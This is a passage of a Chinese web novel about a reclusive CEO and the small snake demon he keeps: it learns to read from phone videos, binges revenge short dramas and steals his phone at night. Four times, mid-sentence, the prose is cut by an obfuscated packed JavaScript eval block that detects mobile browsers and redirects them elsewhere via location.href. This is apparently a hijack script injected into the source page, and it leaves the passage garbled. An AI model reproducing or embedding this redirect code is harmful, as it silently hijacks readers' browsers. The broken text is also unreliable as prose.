当然出口就是一串“嘶嘶嘶”。 乔昭看了一眼的地面上拼命仰头的小蛇,犹豫了一下,还是伸手给他。 青玉竹灵活地缠绕在他的手指上,细小的蛇信在他掌心舔了舔。 乔昭感到一阵细微的痒意,忍不住低头看了一眼掌心里的小蛇。 青色小蛇吐着蛇信,蛇瞳滚圆,一眨不眨地盯着他,扁扁的脑袋上似乎是在笑。 乔昭眼底也泛起一丝微不可见的笑意。 他现在对蛇(仅限蛇妖)的存在似乎已经逐渐脱敏,起码现在手指上缠绕着细长一条小蛇也没了过去那种毛骨悚然的感觉。 他走到生态箱侧面,拧开小门,把手伸了进去。 青玉竹动作飞快地从饲主手里爬出来,落在柔软的草地上。 虽然已经远远看到了生态箱里的景色,但真正置身其中时,青玉竹还是看得愣住了。 以一条小蛇的视角,这个饲养箱大的过分了,哪怕明知它只是一个箱子,但依然给了蛇一种置身真实世界的感觉。 他爬过身下还泛着晨露的草坪,在小山上爬了一半,蛇吻碰了碰悬崖上一座小小的房间,房间里还有袖珍的家具,一个小木偶拿着书站在窗边,似乎在遥望窗外的庞然大物;他又到湖泊里缓缓游了一圈,水比外边的大池塘要温暖,像是在泡温泉。 最后青玉竹慢吞吞地爬到了挂在两棵树之间的吊床上,刚好能直视饲主的眼睛。 逛得有点累。 青玉竹团在吊床里晃晃悠悠,脑袋垫在吊床边,看看近在咫尺的饲主,又看看自己又大又新的巢穴,不自觉想起了不知所踪的昆仑仙境寒月宫。 他在寒月宫中也有一个小小的窝,是一个很小也很简陋的树洞,他把自己所有的宝贝都藏在了里面,东西太多就没法睡下很大的蛇,所以他一般都是盘在树上睡的。 他从没有过这么精致的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007864|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巢穴,仙君虽然对他们都很好,但寒月宫内的灵宠实在太多了,仙君很少特殊照顾过谁。 除了那只陪伴他最久的、身具凤凰血脉的孔雀,仙君专门给他炼制过巢穴,那是一株精致华美的梧桐树,树冠撑开几乎能遮蔽寒月宫的天空,惹得不少妖怪羡慕,彼时青玉竹懵懵懂懂的,并不知道这有什么好羡慕的。 直到今天他也收到了饲主专门为他准备的“梧桐树”。 原来当初孔雀收到梧桐树后飞上枝头乱叫是因为高兴啊。 青玉竹把自己团紧了,逐渐迷糊的意识里倒映出新饲主冷淡却认真的表情,似乎是在观察他是否喜欢。 不知道他有生之年还能不能回到昆仑仙境,还能不能见到仙君。 如果见到仙君…… 那他一定要告诉仙君,他找到了一个新饲主,虽然他不会法术,但他对蛇也很好哦! 青色小蛇眼瞳动了一会后固定在了一上一下的位置——他睡着了。 乔昭从观察中回神,猛然发现时间已经过去了一个多小时。 他看蛇妖在生态箱里到处玩耍居然看了一个小时? 从出生起就没这么浪费过时间的乔总沉默了。 最后又看了一眼陷入沉睡的蛇妖,他转身上楼回到书房准备处理公务,只是见到已经更换了家具的书房,却突然觉得有些不适。 他第一次发现自己洁白干净的书房似乎缺乏一些色彩。 摇了摇头把莫名其妙的念头甩开,乔昭坐到书桌前,电脑旁还摆放着青色小蛇几天前的“墨宝”,虽然线条乱七八糟,但依然看到里面明显的规律。 思索了一会儿后,乔昭拍了张照片放进加密文件夹,把原稿扔进了碎纸机。 【乔昭】:见到高僧了吗? 他给钱锐去了一条信息。 钱锐两天前就到了玄光寺,花了不少功夫才预约到和玄光寺住持高僧见面的机会。 【钱是万能的】:没呢,明天下午四点,出来以后我马上告诉你。 乔昭沉吟了一会,还是没有把刚才拍的照片发给了钱锐。 他并不清楚蛇妖在纸上写了什么东西,但既然现在他和蛇妖相处勉强算愉快,那暂时没必要对外泄露太多,具体他可以等蛇妖能说话的时候,询问一番。 【乔昭】:你不用太着急,先判断一下和尚能不能信。 钱锐看着屏幕上的消息,差点把眼珠子瞪出来,之前还恨不得立刻找到人把蛇妖干掉,现在就不用着急了,这才几天啊?! 他斟酌了一下语言,委婉地发出询问。 【钱是万能的】:你被男妖精迷住了? 【乔昭】:…… 【乔昭】:滚。 钱锐噼里啪啦地打字。 【钱是万能的】:那不然呢! 【钱是万能的】:你这态度变得也太突然了 【钱是万能的】:不是被妖精迷住那就是被夺舍了,你选一个吧 屏幕那边沉默了很久,就在钱锐急的恨不得打电话时,乔昭的消息过来了。 【乔昭】:你那天说的很有道理。 那天?哪天? 钱锐一头雾水地回忆了一下,终于想起来自己“蛇都不聪明”的论断……他表情顿时有点呆滞。 不是,那条蛇妖真是笨蛋啊?! 8. 一人一巴掌 夕阳逐渐落下,余晖透过别墅的落地窗,扫过巨大的玻璃生态箱。 青玉竹被夕阳唤醒,下意识舒展了一下身体。 然后他就从吊床上摔了下来。 缩在翠绿的草地上反应了一会儿,青玉竹才想起来新饲主给自己送了一个巨大无比的新巢穴,而他已经搬家了。 睡饱了的青色小蛇重新高兴起来,精神抖擞地开始巡视领地。 过了好一会儿,青玉竹才慢吞吞地出现在地势最高的阁楼顶端,他盘成一团,俯瞰着整个巢穴,扁扁的脑袋上表情深沉。 虽说寒月宫听名字像是清冷之地,其实除了用来待客的大殿和仙君的寝殿,其他地方都是乱糟糟的,毕竟宫内小妖太多了,种属不同,生活习性不可能一样,仙君又不拘着他们自行调整,于是一座好好的仙家宫殿被改的乱七八糟的。 呆在里面的时间久了,青玉竹对昆仑仙境的审美逐渐敬谢不敏。 所以虽然饲主送的新窝又大又漂亮,还很符合昆仑仙境的一贯审美,古朴精致、素雅缥缈,但青玉竹还是想要自己修整一番。 就在他仔细思考着要怎么布置自己的新巢穴时,大厅里突然传来一声人类的尖叫,伴随着一阵巨大的声响。 青玉竹当即被吓得一抖,想都不想直接从阁楼顶端一跃而下,在草丛上滚了一滚后,躲在了一颗树后面,只探出半个蛇脑袋观察情况。 一个穿着白衣服戴着白色高帽的人类目瞪口呆地站在他的巢穴外,地上是摔了一地的碎盘子。 这好像是饲主的厨师,他被我吓到了吗? 青玉竹把剩下半边脑袋伸了出来。 “怎么了?”饲主的声音从二楼的方向传来。 “蛇……蛇,有蛇……”厨师有些语无伦次地和乔昭比划着。 “我知道。”乔昭声音很平静,“是我养的蛇。” “哦,哦,好的。”厨师还有些找不着北的惊慌,直到乔昭走到餐厅他才冷静下来,随即便有些尴尬,“抱歉乔总,我失态了……我马上给您重新上一份……不对,我先把地上收拾了。” “收拾好这里就可以了。”乔昭制止了他回去再做一份的想法,现在时间也不早了,以蛇妖那种饿死鬼投胎的吃法,难保不是早就饿了。 厨师刚闯了一个不大不小的祸,自然不敢多话,手脚麻利地收拾好地上的狼藉后,匆匆告辞离开了。 直到他离开,乔昭才缓步走到生态箱前,但透过玻璃却没有见到青色小蛇的身影。 乔昭皱了皱眉,正想喊蛇妖的名字,却突然发现他和蛇妖好像至今没有互通过名姓。 ……算了,以后再说吧。 乔昭屈起手指,敲了敲玻璃:“该吃饭了。” 过了好一会儿,才见青色小蛇慢吞吞地从假山的空隙间爬出来,爬行的动作瞧着很是沉重。 乔昭暗自皱眉。 这又是怎么了? 可他没法从扁扁的蛇脑袋上看出端倪,又猜不透一条蛇的心思,正打算询问时,就见青色小蛇已经爬到了侧开的小门边,正想贴着光滑的玻璃壁爬下来。 “等等……”乔昭来不及多想,赶紧出声阻止,但还是慢了一步。 青色小蛇直接顺滑而下,“啪”的一声径直拍到了地上,懵逼了两秒才后知后觉地抬头看着他。 乔昭:“……噗。” 他赶紧握拳抵在唇边咳一声,一本正经道:“这个不适合爬上爬下……忘记设计出入路径了,我的失误。” 主要是爬宠一般不散养,何况这么大的饲养箱,厂家还以为甲方养的是超级无敌巨大蟒,根本没考虑过蛇有自己出门回家的需求。 青玉竹“嘶嘶”两声,大度地原谅了饲主的失误……事实上他心思根本不在这件事上,他毕竟是妖,这么点高度根本没摔疼他。 他只是在很深沉严肃地思考一个问题。 在人类眼里,蛇是非常可怕的生物……那在这个遍地人类的世界里,他能安稳活下去吗? 青玉竹想起自己刚醒来时被人挑下山崖的经历,沉重地叹了一口气。 他只是想做一条吃饱喝足睡好的蛇而已,为什么这么难。 一只手伸到了他面前,饲主不知道什么时候蹲了下来:“去吃饭吧。” 青玉竹动作缓慢地爬上饲主的手心,蛇瞳瞄着饲主。 他自家蛇知自家事,他只是一条普通蛇,没有上古大妖的血脉也没有上佳的修炼资质,脑子还不太聪明。 从前蠢狗和狐狸姐姐就很担心他出宫就被别的什么东西给卖了,当然他自己也很担心,所以打死不出寒月宫一步,缩在自己安全的小天地里自得其乐。 可变故总是突如其来,如今庇护他的仙和妖都不见了,惶恐之中他抓住了面前这个半生不熟的人类——如果他吓到的人太多,饲主会把他扔掉吗? 青玉竹心情更沉重了,要是蛇也能毛茸茸的就好了,这群人类根本拒绝不了毛茸茸的东西,比如蠢狗和狐狸姐姐。 “你怎么了?”到了熟悉的位置,乔昭把青色小蛇放下,发现蛇妖并没有如往常一样变成一道绿光奔赴美食,顿时有些奇怪。 青玉竹直起身体,想问饲主需不需他长出毛毛,可惜出口就是一阵“嘶嘶”声。 乔昭显然听不懂,他直接放弃了琢磨蛇妖的意思,而是问道:“你什么时候能说话?我觉得我们之间有些问题需要沟通。” 青玉竹顿时忘了要长毛的事情,无辜地吐了吐蛇信。 蛇也没有办法呀!蛇已经很努力恢复法力了! 但这个世界已经不是灵力衰微的问题了,某些时候他甚至能感受到天地法则对他法力的排斥,这种情况下他法力恢复的速度慢的令人发指,到现在也没能攒出足够的法力。 所以距离他能说话大概还需要一段时间。 青玉竹想了想,尽力把自己身体拉长,在餐桌上瘫成长长一条,试图用形状让饲主明白。 乔昭看着他动作,竟然诡异地明白了他的意思:“你是说,时间还很长?” 青玉竹翻身而起,频频点头。 乔昭几不可见地一皱眉。 虽然他已经把蛇妖的危险等级调低了,但搞不清楚蛇妖目的这件事依然如同一根刺卡在喉咙上,让他有些难以忍受。 “人不能全知全能,事情不可能总按你的期望发展,你得控制自己的控制欲和焦虑。” 心理医生的话浮上心头,乔昭按了按眉心,把内心突如其来的阴沉按下去,开始思考解决的办法,沉吟一会儿后他道:“你既然能写字……那明天开始我教你认字。” 咦? 青玉竹顿时眼睛一亮。 自从他把书房弄得一团糟后,饲主就把纸墨笔砚都收了起来,青玉竹还遗憾了小半天。 现在能学习人类的文字可太好了,虽然他一向没什么上进心,但看什么都看不懂的生活也让蛇很没有安全感。 既然达成共识,乔昭的行动便非常迅速,喂完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007865|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛇喂饱自己,他带着青色小蛇回到了书房。 他还需要处理一些文件,便在书桌旁支起手机,把青色小蛇放在了手机面前。 青玉竹好奇地看着面前的薄砖,只见漆黑的砖面在饲主伸手拂过之后,突兀地亮了起来。 青色小蛇看得一愣一愣的。 亮起的薄砖很快出现了一张画面,白底上画了两笔黑色的图案,下方还有一串小一点的图案。 青玉竹好奇地用尾巴扒拉了一下薄砖表面,图画突兀地消失了,取而代之的是一个浓妆艳抹的女人举着一个瓶子大喊着“只有今天是这个价……” 声嘶力竭的样子把青玉竹吓了一跳,不自觉咬住了自己的尾巴。 一只手伸过来划了一下,画面重新变成了白底黑字的模样。 青玉竹扭头和面无表情的饲主对视一眼,乖乖把尾巴放下了,做出一副绝不乱动的样子。 饲主这才把目光移开。 一个僵硬的女声从薄砖里传了出来:“人,日嗯人,可以组词:人们、大人、丢人、人才;人,形状就像一个人。” 黑色两笔画顿时变成了大步走路的小人,就是看着和真人不太一样。 僵硬的女声又重复一遍:“人,日嗯人……” 青玉竹反应过来了,图画上那两笔黑色的东西就是这个世界的“人”字。 原来这就是饲主说教他识字的办法啊,这个薄砖好神奇! 青玉竹兴致勃勃地支起身体,看的全神贯注。 确认视频已经彻底吸引住了蛇妖的注意力,乔昭这才把注意力转向电脑,徐秘书的视频通话申请已经发了过来。 乔昭带上降噪耳机接通,开始听取徐秘书的工作汇报。 “……最后一笔赔偿金已经支付,乔暄留下的烂摊子基本处理完毕,现在只剩下了天宇智能的破产案仍在流程中,乔曦总想要注资启动重整,不知道您的意见是?”徐秘书看着乔昭。 乔昭挑了挑眉:“她解决得掉天宇的股东?” 这些股东大多都是乔暄留下的心腹,天宇那些明里暗里的资产在哪里只有他们说得清楚,也因此破产进程一直不太顺利。 徐秘书一板一眼地答:“乔曦总说如果您提供资金支持的话,她会解决那些人的。” 既然如此,乔昭没再多想:“好,那你去跟她对接。” “好的。”徐秘书把这件事记下,紧接着又道,“另外下周末龙鼎集团举办慈善晚宴,他们董事长亲自给您发了邀请函,您是否出席?” 龙鼎集团算是本地一霸,起家不算干净,和乔暄关系密切,但乔暄进去了以后,乔昭就断了和龙鼎集团的往来。 此时给乔昭发邀请就有些耐人寻味了。 乔昭思索片刻:“记上日程,我去看看那老家伙想干嘛。” 徐秘书欲言又止,最后还是什么都没说:“好的,我记下了。另外一件事……” “……” 两个小时后,徐秘书汇报完今天的工作,道别后挂断了视频。 乔昭闭上眼睛缓了缓因为过度思考导致的眩晕,取下耳机转头,打算看看蛇妖的学习进度。 然后他一扭头就发现,屏幕上的视频已经不是他挑选出来的幼儿识字大全了,而是一个长相清秀的女生被一群人围在中间,眼神睥睨,下一秒,女生抬手给了周围的人一人一巴掌。 青色小蛇尾巴有一下没一下地拍着桌面,眼神惊叹。 乔昭:“……?” 9. 你偷手机?! 青玉竹学习了二十个字后就感到了一阵疲惫。 他的蛇生到现在满打满算快一百年了,里面所有的学习时间加起来也没有超过一成。 学习好累哦。 青玉竹缓缓盘成一饼,眼瞳逐渐清澈,僵硬的女声也开始变得飘飘忽忽的。 他险些睡着的时候突然惊醒,猛然立起身子左右看了看。 天色已经彻底黑了,书房里亮着明亮的灯光,饲主神色平静地看着另外一个大的薄砖,时不时淡而缓地说一两句话,手里还转着一支笔。 静谧的气氛让青玉竹绷紧的神经放松了下来——他在新的饲主家里,很安全。 青玉竹重新趴了下来,面前的薄砖里还在一刻不停地出现新字。 他看看专心致志的饲主,眼睛一转,计上心头。 蛇尾巴鬼鬼祟祟地伸出,在薄砖上划了一下。 识字视频立刻变成了另外一个画面——只听到一阵悦耳的乐声响起,底部开始缓缓浮现文字。 但没有人声。 学会了二十个字的小蛇看不懂大段的文字,只能再次用蛇尾巴划拉,画面一变,一个穿着和饲主类似黑衣服的男人指着一个花花绿绿的图说着什么。 虽然有声音,但青玉竹发现自己还是听不懂什么“尅线”“政策”之类的,再次不感兴趣扒拉薄砖表面。 只见一个长相清秀的女人伴随一道声音走了出来,抬头昂首地径直走向黑色的钢铁盒子,一个年轻男人正在里面等她。 “上辈子,我是陈家受尽宠爱的千金,他只是我父亲的司机,但我们一起长大,我对他情根深种……” 咦?转世投胎? 青玉竹吐着蛇信子,目光炯炯。 仙君明明说过,生死之事不可逆,天地法则容不得转世投胎这种事,那这是怎么回事?这个世界的法则不一样吗? 他怀着巨大的好奇看了下去,见证着这个姑娘上辈子所托非人被害的家破人亡,转世回来后见谁不爽就是一巴掌的传奇经历。 好暴躁哦!但莫名觉得很舒爽是怎么回事? 青玉竹满眼惊叹,直到一只手伸过来拿起了薄砖。 ……不好! 青玉竹当即把自己团成一团,心虚地把尾巴盖在了眼睛上。 蛇没有不专心! 乔昭关掉手机里持续播放的降智短剧,看着桌上一团自欺欺人的蛇饼,心如止水毫无波澜甚至懒得发表意见:“时间不早,可以休息了。” 嗯?青玉竹尾巴掀开一小条缝,偷摸着瞄饲主,发现他没有生气的意思,这才重新立起身体,点了点头。 天色已经晚了,是时候休息了。 就是…… 他依依不舍地看了一眼饲主手中的薄砖。 那个姑娘刚刚查明上辈子是自己的二叔和前男友相互勾结,正打算去给这两人一个教训呢,但前男友也准备了后招,不知道双方会不会打起来…… 青玉竹怀着巨大的好奇和遗憾,自动自觉地爬上饲主的手心,等着饲主把他送下楼。 乔昭和掌心里盘得舒舒服服的小蛇对视一眼,发现蛇妖没有下去自己走路的意思,只好任劳任怨地把他送回楼下的玻璃缸里。 玻璃缸里已经亮起了感光灯,星星点点的灯光衬得整个生态箱静谧又梦幻。 乔昭打开侧门把青色小蛇放了进去,看着他朝着树林的方向爬去,他想了想,又拿出手机通知小林,让他找厂家重新弄一个可以供蛇出入的楼梯之类的东西。 小林秒回一个“收到”。 乔昭收起手机,也打算回二楼休息,而刚刚回到生态箱的青色小蛇已经爬到了树间的一张吊床上,小脑袋定定地看着他。 乔昭心里莫名涌上一阵奇异的感觉,他伸手按在玻璃上,轻声道:“晚安。” 青色小蛇尾巴翘起,缓慢地摇了摇。 ……所以为什么蛇会摇尾巴? 乔昭眼底笑意细微,见青色小蛇一如既往地盘成了一坨便便,这才缓步上楼准备休息。 听着饲主的脚步声逐渐远走,团成一团的小蛇缓缓拉开,蛇瞳紧盯着消失的人类。 青玉竹目光幽幽。 蛇不想睡觉,蛇想知道那姑娘有没有打死坏人。 他在吊床上翻来覆去睡不着,可换到草地上、换到假山上、换到树屋上都无法入睡,始终牵挂着那个报仇大业未竟的姑娘。 不知道过了多久,青玉竹终于下定决心,鬼鬼祟祟地从虚掩的侧门滑下,开始长途跋涉地朝着二楼爬去。 …… 凌晨两点半,乔昭还是没能睡着。 他闭目躺在床上,睡姿端正得像具尸体。 虽然他尽力践行着心理医生的建议,但本能不是这么好克制的,各种纷杂的思绪总是惊扰着他的睡眠。 好在这种状态他早就习惯了,人无远虑必有近忧,最多就是他的近忧多了些。 反正睡不着,他干脆顺着思绪开始思考……怎么清除乔暄的残留势力……乔曦要怎么安排是不是真的可信……下周末的慈善晚宴……还有客厅里的那只蛇妖,他识字进度怎么样……能不能写字了…… “咚!” 一声细微的闷响在安静的空间里异常明显,乔昭猛然睁开了眼睛,立刻从床上坐了起来:“开灯。” 灯光应声而开 ,明亮的光线将主卧内的一切照得纤毫毕现。 一条青色小蛇赫然出现在主卧在米白色地毯上,摊得乱七八糟,自己的手机掉落在他不远处——很显然,刚才的声响应该是蛇妖试图带走手机,然后和手机一起从床头柜上摔下去的动静。 乔昭沉默地看着地毯上的一小条。 虽然扁扁的蛇脑袋上看不出表情,但他就是能莫名感受到蛇妖那种溢于言表的呆滞。 “你半夜不睡觉,来我房间里偷手机?”良久,乔昭终于开口,语气费解。 青玉竹老老实实地把尾巴收回来,乖巧地盘成一团。 他就是想拿薄砖出去看一眼而已,又不是不还,说什么偷,这么难听。 他只是没想到这东西这么大又这么重,卷起来后他行动就变得十分不便,以至于惊醒了饲主。 乔昭按了按胀痛的太阳穴,莫名心累。 “你拿手机做什么?”他心平气和地问道。 青玉竹怂哒哒团着,不敢吭声。 乔昭的状态让他想起了仙君——是发现他和蠢狗偷了寝殿里的七宝枝烧火烤肉时的仙君。 乔昭问出口才反应过来,蛇妖现在还没法说话,但……如果往简单的方向去猜测的蛇妖的心思…… 乔昭捡起掉落在地的手机,翻出历史记录看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007866|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,最后的播放历史是一部名为《重生归来:踹了渣男当总裁》的短剧。 他把手机屏幕对准蛇妖:“你想看这个?” 看着封面上熟悉的姑娘,青玉竹怂怂点头。 乔昭表情一言难尽:“……” 为什么这么个弱智短剧能让蛇妖半夜爬他卧室偷手机?就这么好看?而且蛇妖不是从来不进卧室吗? 乔昭理解不能,但看着地上蜷缩成一小坨可怜巴巴的蛇妖,他认命地叹了一口气,拿回手机又给小林发了一条信息,让他明天送一个新手机上门。 发完信息,他才把手放在蛇妖面前。 青色小蛇很快缠了上来,在熟悉的位置团好。 乔昭一手捧着蛇,一手拿着手机,重新回到了客厅里。 他把蛇妖放回生态缸中,又把播放着短剧的手机放了进去。 只是生态缸两米五的高度根本没有留出让他调整位置的空间,他只能从侧边的小门里伸手把手机放进去,随意靠在一座小假山上。 假山前是一片光秃秃的草地。 看来得给蛇妖在这里弄一张床之类供他观影的东西。 乔昭默默把这件事记下。 青色小蛇显然不在意草地上有没有床,很快爬了过来,在手机面前盘好,一整个神采奕奕。 乔昭嘴角一抽:“手机没电后就会关机……关机后你最好睡觉。” 青玉竹分出一丝注意力给饲主,终于搞明白了薄砖的名字叫手机。 手机果然是个好东西。 青玉竹决定等自己能说话后就找饲主要一个。 被这么一折腾,乔昭也没了回房的想法,主要是担心有工作电话进来,蛇妖可没法拖着手机上楼。 他在客厅的沙发里坐下,打算等手机没电或者蛇妖睡着后拿出手机再离开,只是听着玻璃缸里不断传来的污染智商的动静,突突跳动的太阳穴竟然奇异地放松了下来。 几天之前他还想象不到自己会在一个来路不明的异类面前放松。 可事实就是这么不讲道理,一只(起码目前来看)心思单纯只知道吃和睡(和偷手机看短剧还不识字)的异类,总比那些心怀鬼胎满腔算计的同类安全。 乔昭安静地靠在沙发上,眼睛注视着外边漆黑的夜色,不知道什么时候睡了过去。 …… 清晨的阳光缓缓扫过江景别墅,乔昭猛然惊醒,紧接着便被酸痛的脖颈肩膀弄得闷哼一声。 他下意识抬头看了一眼墙上的钟,时间已经到了早上八点。 他竟然在沙发上睡了五个多小时,不仅时间远超平均值,且睡梦沉沉,醒来后除了僵硬酸痛的肌肉,精神状态竟然还行。 乔昭抬手揉了揉太阳穴。 而这一抬手,从手腕上突然掉下来一件东西,落在大腿上后下意识地蠕动了一下。 乔昭:“?!” 睡成一团低空坠落的青玉竹:“……?” 一人一蛇面面相觑。 过了一会儿,乔昭率先打破沉默,语气还有些不可思议:“晚上你睡在我手腕上?” 你不难受吗? 青色小蛇落在他的大腿上,本能地盘成一团,看着他的蛇瞳十分呆滞,很显然,脑子还没醒。 “叮咚——” 门铃在此时被按响了。 10. 新手机到手 乔昭只好先放下蛇妖晚上睡哪里的问题,把蛇送回生态缸后起身开门。 门后站着他的两个助理。 徐秘书长舒一口气:“乔总,您没事真是太好了。” 乔昭一愣:“怎么了?” 徐秘书言简意赅地解释了一番,他有事汇报乔昭,但从凌晨五点到现在,乔昭的电话始终处于关机状态,联想到顶头上司不怎么稳定的心理状态,他着实捏了一把汗,于是匆忙赶来。 恰好遇到了上门来送新手机的小林助理。 徐秘书偏头看了一眼小林手里的手机盒:“您手机损坏了吗?” “没有。”乔昭示意他们进来,自己则走到生态缸前伸手,打算把手机拿了出来。 他睡前手机就不满电,蛇妖还刷了一晚上剧,现在肯定已经没电关机了。 青色小蛇显然是没睡醒,此时在手机前呆呆地盘着,蛇瞳乱飞,但见眼前漆黑的薄砖突然动了,他本能伸尾巴牢牢卷住眼前的宝贝,并且试图发出凶狠的威胁:“嘶嘶嘶嘶——” 蛇的手机!不准拿走! 乔昭亲眼目睹现代娱乐一晚上就把来历不明的蛇妖训练成长在手机上的网瘾少年,表情一言难尽。 感受着手机上传来的拉力,蛇妖哪怕被拖成一长条也不肯放尾,乔总只好妥协放手。 青色小蛇立刻爬上手机屏幕盘成一坨,把手机结结实实压在身体下面,脑袋垫在蛇尾上睡了。 乔昭看着青色小蛇一左一右的眼瞳,沉默半晌后只能对小林招了招手。 小林早已目瞪口呆,见老板招呼才匆忙合上张开的嘴,十分有眼力见地把新手机从盒子里拿出来——系统已经激活,有的没的APP已经删除完毕。 新手机如同每一个交到乔昭手上的新电子产品一样,簇新而干净。 但这个手机并非乔昭要用。 他拿过新手机看了一眼干净的屏幕,又还给小林:“下一个短剧APP……还有什么娱乐APP一并下好。” 用娱乐占据蛇妖的注意力避免他搞事也不错,反正蛇妖应该不用担心视力问题。 小林:“?” 乔昭吩咐完,视线转向徐秘书:“出了什么事?” 徐秘书和小林一样惊讶万分,但他毕竟是工作数年的顶级社畜,此时已经调整好了表情:“冯女士昨天和乔老先生起了争执,受了点轻伤,她一直吵着要见您。” 乔昭不由得皱眉:“怎么回事?” 徐秘书看了一眼旁边专心致志下APP的小林,见乔昭没反应,才道:“昨天乔老先生在金耀会馆过夜,冯女士上门抓奸……乔老先生推了她一下,她摔在地上把手臂蹭破了。” 乔昭眉宇间不由得浮现出一丝厌倦:“很严重?” “不严重。”徐秘书摇头,“皮外伤,我已经联系医生处理过了,但冯女士坚持住院并要求见您,我联系不上您……而冯女士的情绪很激动,我只好先安排她住院。” 乔昭“嗯”了一声,没有再说话的意思。 徐秘书只好问:“您要去看望她吗?” 乔昭沉默了更长的时间:“既然伤势不重,那就不去了,给她安排好医生和护理。” 徐秘书垂眸敛眉:“好的。” “乔总,弄好了。”小林适时插话,把下载了各种APP的手机交还给乔昭,然后和徐秘书一起,眼睁睁看着乔总拿着新手机费了半天劲终于哄着那条蛇换回了自己的手机。 小林:“……” 徐秘书:“……” 汇报完工作,两个助理一起离开了乔昭的别墅。 走出花团锦簇的花园,小林才一脸找不着北地看向徐秘书:“我记得乔总怕蛇来着?” “对。”徐秘书很淡定。 小林张了张嘴:“那他还养蛇?!” 而且还这么有耐心?! 徐秘书还是很淡定:“嗯,大概是脱敏训练吧。” 小林:“………………那条蛇还会抢手机,乔总还给它买新手机。” 徐秘书笃定:“你看错了,没这回事。” 小林:“?” 徐秘书拍了拍他的肩膀:“别对老板的私事太好奇,他没说,那你就当什么都没看见。” 说完,他抱着公文包上了路边停着的黑色大劳,扬长而去,徒留小林在原地调整三观。 经过漫长的启动后,青玉竹终于清醒了,有些呆滞地看着面前的手机。 他记得昨晚的手机好像不是这个来着。 青色小蛇爬到玻璃缸边缘,一览无余的大厅里没有饲主的身影。 昨晚发生了什么来着? 他看那位姑娘的复仇之路看了很久很久,正在激动的时候手机突然变黑了,不管他用尾巴怎么拍打威胁都没亮,青玉竹只好爬出去找饲主求助。 但饲主睡着了,他缠在人类手腕上思考着能不能吵醒他……人类似乎是必须睡觉的。 人类手腕上的体温很温暖,他思考着思考着也睡了过去。 青玉竹确信自己不会梦中神游,所以肯定是饲主把他送过来的,那饲主人呢? 他从侧门滑下,已经习惯了这种“啪叽”一下拍地上的刺激感觉,甚至有点上瘾。 青玉竹费劲巴拉地爬到二楼,依然没有感受到饲主的气息,他只好继续费劲巴拉地往上爬。 说起来他到这幢大房子后还没上过三楼呢。 毕竟他现在身体缩水,爬楼怪累的。 三楼也很宽敞,只是形状和一二楼不一样,有很大一片面积是光秃秃的露天阳台,剩下一小片是一个透明小房子,零星摆放着一些盆栽树木。 用他昨天从手机上学到的知识来说,这叫做玻璃花房。 饲主就坐在花房里的一张桌子旁,手里夹着一根细细长长的人类称为“烟”的东西,看着天边发呆,一棵小树的阴影遮在他身上,看不清楚表情。 青玉竹悄无声息地爬进去,顺着桌子爬到了桌面,发现饲主的手机是亮着的,顿时好奇地立起身体。 放在大窝里的手机还是黑的呢! 他不知道要怎么点亮它,反正用尾巴拍打威胁没用。 青玉竹探头看着饲主的手机,试图找到点亮手机的办法,但看清楚手机上的内容后,他顿时眼睛一亮。 这个蛇知道! 这还是他昨天看那姑娘复仇之路时学到的知识,人类管这个叫微信,绿的是自己说的话,白的是对方说的话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007867|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他兴致勃勃地看着屏幕上的绿框白框,得益于一整晚的认真学(追)习(剧),他认识了不少反复出现的字,于是很快认出来“妈妈”“忘了”“长大”“白眼狼”等等字眼。 但仅此而已了,以他现在认字的水平,认识了这几个词组也看不懂里面的话。 青玉竹很快放弃看不懂的东西,扭过头找自己的饲主,这才发现阴影下的饲主不太对劲,像一朵飘在天边的乌云,充满了压抑。 他疑惑地歪了歪头,“嘶嘶”有声。 你怎么不高兴了呀? 细微的动静唤回了乔昭的注意力,他扭过头就发现自己尚未息屏的手机和一旁的青色小蛇,本能地一惊,随即放松了下来。 没事,蛇妖现在还是个文盲,看不懂。 他若无其事地收起手机,和仰头看着他的小蛇对视:“你饿了?” 